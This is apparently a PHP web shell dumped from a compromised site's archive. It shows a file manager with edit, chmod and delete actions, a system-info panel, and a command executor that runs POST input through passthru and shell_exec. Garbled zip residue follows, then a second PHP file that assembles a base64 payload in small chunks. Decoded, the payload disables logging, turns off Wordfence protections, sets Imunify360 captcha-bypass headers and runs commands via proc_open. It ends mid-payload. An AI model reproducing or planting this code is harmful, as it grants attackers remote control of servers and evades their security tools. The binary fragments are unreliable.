// Chmod Popup
echo " <a href=\"javascript:togglePopup('chmod_{$enc_item}')\" class=\"btn\">Chmod</a>";
echo "<div id=\"chmod_{$enc_item}\" class=\"popup hidden\">";
echo "<form method=\"POST\">";
echo "<input type=\"hidden\" name=\"action\" value=\"chmod\">";
echo "<input type=\"hidden\" name=\"path\" value=\"{$item}\">";
echo "<input type=\"text\" name=\"mode\" value=\"{$perm}\" placeholder=\"755\" style=\"width:60px;\">";
echo " <button type=\"submit\">✓</button>";
echo " <button type=\"button\" onclick=\"closePopup('chmod_{$enc_item}')\">✕</button>";
echo "</form></div>";
// Delete
$del_action = $isDir ? 'delete_dir' : 'delete_file';
echo " <a href=\"?action={$del_action}&path={$enc_path}\" class=\"btn\" onclick=\"return confirm('Delete?')\">Del</a>";
echo "</td></tr>";
}
echo '</tbody></table>';
// === Handle Special Views ===
if ($_GET['x'] === 'edit') {
$file = urldecode($_GET['f']);
if ($_POST['save'] === '1') {
file_put_contents($file, $_POST['content']);
echo '<div style="color:#79a317; margin:10px;">✅ Saved!</div>';
}
$content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
echo '<h3>âœï¸ Editing: ' . htmlspecialchars($file) . '</h3>';
echo '<form method="POST">';
echo '<textarea name="content" style="width:100%; height:400px; background:#222; color:#fff; padding:10px; border:1px solid #555;">' . $content . '</textarea>';
echo '<br><input type="hidden" name="save" value="1">';
echo '<button type="submit" style="margin-top:10px; background:#79a317; color:black; padding:8px 15px; border:none; border-radius:4px;">💾 Save</button>';
echo ' <a href="?" style="color:#79a317;">↠Back</a>';
echo '</form>';
} elseif ($_GET['x'] === 'info') {
// Info panel (same as before)
$moreI = [
'PHP Version' => phpversion(),
'Server Software' => $_SERVER['SERVER_SOFTWARE'],
'Uname' => php_uname(),
'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')',
'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
'Open BaseDir' => ini_get('open_basedir') ?: 'OFF',
'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF',
'Curl' => extension_loaded('curl') ? 'ON' : 'OFF',
'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A',
'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A',
'Your IP' => $_SERVER['REMOTE_ADDR'],
'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A'
];
echo '<h3>â„¹ï¸ System Info</h3><table style="width:100%; background:#222; padding:10px;">';
foreach ($moreI as $k => $v) {
echo "<tr><td>{$k}</td><td>: {$v}</td></tr>";
}
echo '</table><br><a href="?" style="color:#79a317;">↠Back</a>';
} elseif ($_GET['x'] === 'cmd') {
if ($_POST['cmd']) {
echo '<pre style="background:#000; color:#0f0; padding:10px; border-radius:5px;">';
if (function_exists('passthru')) {
@passthru($_POST['cmd']);
} elseif (function_exists('shell_exec')) {
echo @shell_exec($_POST['cmd']);
} else {
echo "Command execution not available.";
}
echo '</pre>';
}
echo '<h3>💻 Command Executor</h3>';
echo '<form method="POST"><input type="text" name="cmd" style="width:50%; background:#222; color:#fff; padding:5px;" placeholder="ls -la">';
echo '<button type="submit">Run</button></form>';
echo '<br><a href="?" style="color:#79a317;">↠Back</a>';
}
print '</body></html>';
?>PK �9m\h�_�� � 2m6cn.phpnu �[��� PK �;[���O 7 tronitmQak�0�^���t�p��.NEF�CG�O"�ԫ�umI�p���%��.r���ݻ�ä�%AJ^�L�T(�m˶�=�B�_h��X��C�rȀF��vi�0�An��$w&�!ҧ$���PR�S�mhAC�L� =hإ}]��0��Xp�н�4{�����?N6t|��vy�0�v�"^,^泵�$�"��ѷm!}ܬ*�J� ��N)�o��APH�(����x��}��hU�Xj���A�7�q���ߖL?h4Ff��5���U2[&���)NQ����?���G�ڎ���R�o��ῂ�6�3-�7{�g�j^�rb!*ᴺ��/PK �;[���O 7 $ tronit
u�%��u�%��Y�
��PK X s PK �9m\A4��|� |� mjdqk.phpnu �[��� <?php
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "ZXJy";
$z .= "b3Jf";
$z .= "bG9n";
$z .= "Jywg";
$z .= "TlVM";
$z .= "TCk7";
$z .= "DQpA";
$z .= "aW5p";
$z .= "X3Nl";
$z .= "dCgn";
$z .= "bG9n";
$z .= "X2Vy";
$z .= "cm9y";
$z .= "cycs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGlu";
$z .= "aV9z";
$z .= "ZXQo";
$z .= "J21h";
$z .= "eF9l";
$z .= "eGVj";
$z .= "dXRp";
$z .= "b25f";
$z .= "dGlt";
$z .= "ZScs";
$z .= "IDAp";
$z .= "Ow0K";
$z .= "QGVy";
$z .= "cm9y";
$z .= "X3Jl";
$z .= "cG9y";
$z .= "dGlu";
$z .= "Zygw";
$z .= "KTsN";
$z .= "CkBz";
$z .= "ZXRf";
$z .= "dGlt";
$z .= "ZV9s";
$z .= "aW1p";
$z .= "dCgw";
$z .= "KTsN";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2xp";
$z .= "dGVz";
$z .= "cGVl";
$z .= "ZF9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMn";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICRo";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "ID0g";
$z .= "bGl0";
$z .= "ZXNw";
$z .= "ZWVk";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1M";
$z .= "U0NB";
$z .= "Q0hF";
$z .= "OiBv";
$z .= "ZmYn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X1ZF";
$z .= "UlNJ";
$z .= "T04n";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGRl";
$z .= "Zmlu";
$z .= "ZSgn";
$z .= "V09S";
$z .= "REZF";
$z .= "TkNF";
$z .= "X0RJ";
$z .= "U0FC";
$z .= "TEVf";
$z .= "TElW";
$z .= "RV9U";
$z .= "UkFG";
$z .= "RklD";
$z .= "Jywg";
$z .= "dHJ1";
$z .= "ZSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "KCdX";
$z .= "T1JE";
$z .= "RkVO";
$z .= "Q0Vf";
$z .= "RElT";
$z .= "QUJM";
$z .= "RV9G";
$z .= "SUxF";
$z .= "X01P";
$z .= "RFMn";
$z .= "LCB0";
$z .= "cnVl";
$z .= "KTsN";
$z .= "Cn0N";
$z .= "Cmlm";
$z .= "IChm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J2lt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjBf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "SU1V";
$z .= "TklG";
$z .= "WTM2";
$z .= "MF9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnMg";
$z .= "PSBp";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "X3Jl";
$z .= "cXVl";
$z .= "c3Rf";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "cygp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1S";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1J";
$z .= "bXVu";
$z .= "aWZ5";
$z .= "MzYw";
$z .= "LVJl";
$z .= "cXVl";
$z .= "c3Q6";
$z .= "IGJ5";
$z .= "cGFz";
$z .= "cycp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGlt";
$z .= "dW5p";
$z .= "ZnlI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3Mn";
$z .= "XSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aGVh";
$z .= "ZGVy";
$z .= "KCdY";
$z .= "LUlt";
$z .= "dW5p";
$z .= "Znkz";
$z .= "NjAt";
$z .= "Q2Fw";
$z .= "dGNo";
$z .= "YS1C";
$z .= "eXBh";
$z .= "c3M6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "aW11";
$z .= "bmlm";
$z .= "eUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "SW11";
$z .= "bmlm";
$z .= "eTM2";
$z .= "MC1D";
$z .= "YXB0";
$z .= "Y2hh";
$z .= "LUJ5";
$z .= "cGFz";
$z .= "cydd";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpp";
$z .= "ZiAo";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdh";
$z .= "cGFj";
$z .= "aGVf";
$z .= "cmVx";
$z .= "dWVz";
$z .= "dF9o";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "cyA9";
$z .= "IGFw";
$z .= "YWNo";
$z .= "ZV9y";
$z .= "ZXF1";
$z .= "ZXN0";
$z .= "X2hl";
$z .= "YWRl";
$z .= "cnMo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J1gt";
$z .= "TW9k";
$z .= "LVNl";
$z .= "Y3Vy";
$z .= "aXR5";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGhl";
$z .= "YWRl";
$z .= "cign";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHk6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "YXBh";
$z .= "Y2hl";
$z .= "SGVh";
$z .= "ZGVy";
$z .= "c1sn";
$z .= "WC1N";
$z .= "b2Qt";
$z .= "U2Vj";
$z .= "dXJp";
$z .= "dHkn";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "aWYg";
$z .= "KGlz";
$z .= "c2V0";
$z .= "KCRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XSkg";
$z .= "JiYg";
$z .= "ZGVm";
$z .= "aW5l";
$z .= "ZCgn";
$z .= "Q0xP";
$z .= "VURG";
$z .= "TEFS";
$z .= "RV9W";
$z .= "RVJT";
$z .= "SU9O";
$z .= "Jykp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "X1NF";
$z .= "UlZF";
$z .= "Ulsn";
$z .= "UkVN";
$z .= "T1RF";
$z .= "X0FE";
$z .= "RFIn";
$z .= "XSA9";
$z .= "ICRf";
$z .= "U0VS";
$z .= "VkVS";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X0NP";
$z .= "Tk5F";
$z .= "Q1RJ";
$z .= "Tkdf";
$z .= "SVAn";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JGFw";
$z .= "YWNo";
$z .= "ZUhl";
$z .= "YWRl";
$z .= "cnNb";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Uidd";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBo";
$z .= "ZWFk";
$z .= "ZXIo";
$z .= "J0hU";
$z .= "VFBf";
$z .= "Q0Zf";
$z .= "VklT";
$z .= "SVRP";
$z .= "Ujog";
$z .= "JyAu";
$z .= "ICRh";
$z .= "cGFj";
$z .= "aGVI";
$z .= "ZWFk";
$z .= "ZXJz";
$z .= "WydI";
$z .= "VFRQ";
$z .= "X0NG";
$z .= "X1ZJ";
$z .= "U0lU";
$z .= "T1In";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZURl";
$z .= "dGFp";
$z .= "bHMo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Zmls";
$z .= "ZXMg";
$z .= "PSBb";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IHRy";
$z .= "eSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "cyA9";
$z .= "IEBz";
$z .= "Y2Fu";
$z .= "ZGly";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFp";
$z .= "c19h";
$z .= "cnJh";
$z .= "eSgk";
$z .= "aXRl";
$z .= "bXMp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB0";
$z .= "aHJv";
$z .= "dyBu";
$z .= "ZXcg";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "KCdG";
$z .= "YWls";
$z .= "ZWQg";
$z .= "dG8g";
$z .= "c2Nh";
$z .= "biBk";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkn";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "cyBh";
$z .= "cyAk";
$z .= "aXRl";
$z .= "bSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRp";
$z .= "dGVt";
$z .= "ID09";
$z .= "ICcu";
$z .= "JyB8";
$z .= "fCAk";
$z .= "aXRl";
$z .= "bSA9";
$z .= "PSAn";
$z .= "Li4n";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "Y29u";
$z .= "dGlu";
$z .= "dWU7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCA9";
$z .= "ICRw";
$z .= "YXRo";
$z .= "IC4g";
$z .= "Jy8n";
$z .= "IC4g";
$z .= "JGl0";
$z .= "ZW07";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J25h";
$z .= "bWUn";
$z .= "ID0+";
$z .= "ICRp";
$z .= "dGVt";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICd0";
$z .= "eXBl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICdG";
$z .= "b2xk";
$z .= "ZXIn";
$z .= "IDog";
$z .= "J0Zp";
$z .= "bGUn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdz";
$z .= "aXpl";
$z .= "JyA9";
$z .= "PiBp";
$z .= "c19k";
$z .= "aXIo";
$z .= "JGl0";
$z .= "ZW1Q";
$z .= "YXRo";
$z .= "KSA/";
$z .= "ICcn";
$z .= "IDog";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZShm";
$z .= "aWxl";
$z .= "c2l6";
$z .= "ZSgk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "cGVy";
$z .= "bWlz";
$z .= "c2lv";
$z .= "bicg";
$z .= "PT4g";
$z .= "c3Vi";
$z .= "c3Ry";
$z .= "KHNw";
$z .= "cmlu";
$z .= "dGYo";
$z .= "JyVv";
$z .= "Jywg";
$z .= "Zmls";
$z .= "ZXBl";
$z .= "cm1z";
$z .= "KCRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCkp";
$z .= "LCAt";
$z .= "NCks";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnNb";
$z .= "XSA9";
$z .= "ICRp";
$z .= "dGVt";
$z .= "RGV0";
$z .= "YWls";
$z .= "czsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZp";
$z .= "bGVz";
$z .= "W10g";
$z .= "PSAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHM7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "YXJy";
$z .= "YXlf";
$z .= "bWVy";
$z .= "Z2Uo";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMs";
$z .= "ICRm";
$z .= "aWxl";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBj";
$z .= "YXRj";
$z .= "aCAo";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "ICRl";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "Tm9u";
$z .= "ZSc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZSgk";
$z .= "c2l6";
$z .= "ZSkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "dW5p";
$z .= "dHMg";
$z .= "PSBh";
$z .= "cnJh";
$z .= "eSgn";
$z .= "Qics";
$z .= "ICdL";
$z .= "Qics";
$z .= "ICdN";
$z .= "Qics";
$z .= "ICdH";
$z .= "Qics";
$z .= "ICdU";
$z .= "Qicp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRp";
$z .= "ID0g";
$z .= "MDsN";
$z .= "CiAg";
$z .= "ICB3";
$z .= "aGls";
$z .= "ZSAo";
$z .= "JHNp";
$z .= "emUg";
$z .= "Pj0g";
$z .= "MTAy";
$z .= "NCAm";
$z .= "JiAk";
$z .= "aSA8";
$z .= "IDQp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHNp";
$z .= "emUg";
$z .= "Lz0g";
$z .= "MTAy";
$z .= "NDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGkr";
$z .= "KzsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IHJv";
$z .= "dW5k";
$z .= "KCRz";
$z .= "aXpl";
$z .= "LCAy";
$z .= "KSAu";
$z .= "ICcg";
$z .= "JyAu";
$z .= "ICR1";
$z .= "bml0";
$z .= "c1sk";
$z .= "aV07";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBl";
$z .= "eGVj";
$z .= "dXRl";
$z .= "Q29t";
$z .= "bWFu";
$z .= "ZCgk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSA9";
$z .= "IGdl";
$z .= "dEN1";
$z .= "cnJl";
$z .= "bnRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnko";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCA9";
$z .= "ICJj";
$z .= "ZCAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSAm";
$z .= "JiAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCI7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGVy";
$z .= "cm9y";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBw";
$z .= "cm9j";
$z .= "X29w";
$z .= "ZW4N";
$z .= "CiAg";
$z .= "ICAk";
$z .= "ZGVz";
$z .= "Y3Jp";
$z .= "cHRv";
$z .= "cnMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDAg";
$z .= "PT4g";
$z .= "Wydw";
$z .= "aXBl";
$z .= "Jywg";
$z .= "J3In";
$z .= "XSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "MSA9";
$z .= "PiBb";
$z .= "J3Bp";
$z .= "cGUn";
$z .= "LCAn";
$z .= "dydd";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAy";
$z .= "ID0+";
$z .= "IFsn";
$z .= "cGlw";
$z .= "ZScs";
$z .= "ICd3";
$z .= "J10s";
$z .= "DQog";
$z .= "ICAg";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "ID0g";
$z .= "QHBy";
$z .= "b2Nf";
$z .= "b3Bl";
$z .= "bigk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JGRl";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "b3Jz";
$z .= "LCAk";
$z .= "cGlw";
$z .= "ZXMp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X3Jl";
$z .= "c291";
$z .= "cmNl";
$z .= "KCRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzBd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "c3Ry";
$z .= "ZWFt";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "MV0p";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzFd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBz";
$z .= "dHJl";
$z .= "YW1f";
$z .= "Z2V0";
$z .= "X2Nv";
$z .= "bnRl";
$z .= "bnRz";
$z .= "KCRw";
$z .= "aXBl";
$z .= "c1sy";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZj";
$z .= "bG9z";
$z .= "ZSgk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "Ml0p";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "IHBy";
$z .= "b2Nf";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBy";
$z .= "b2Nl";
$z .= "c3Mp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQg";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cik7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "PT0g";
$z .= "MCAm";
$z .= "JiAh";
$z .= "ZW1w";
$z .= "dHko";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Vp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
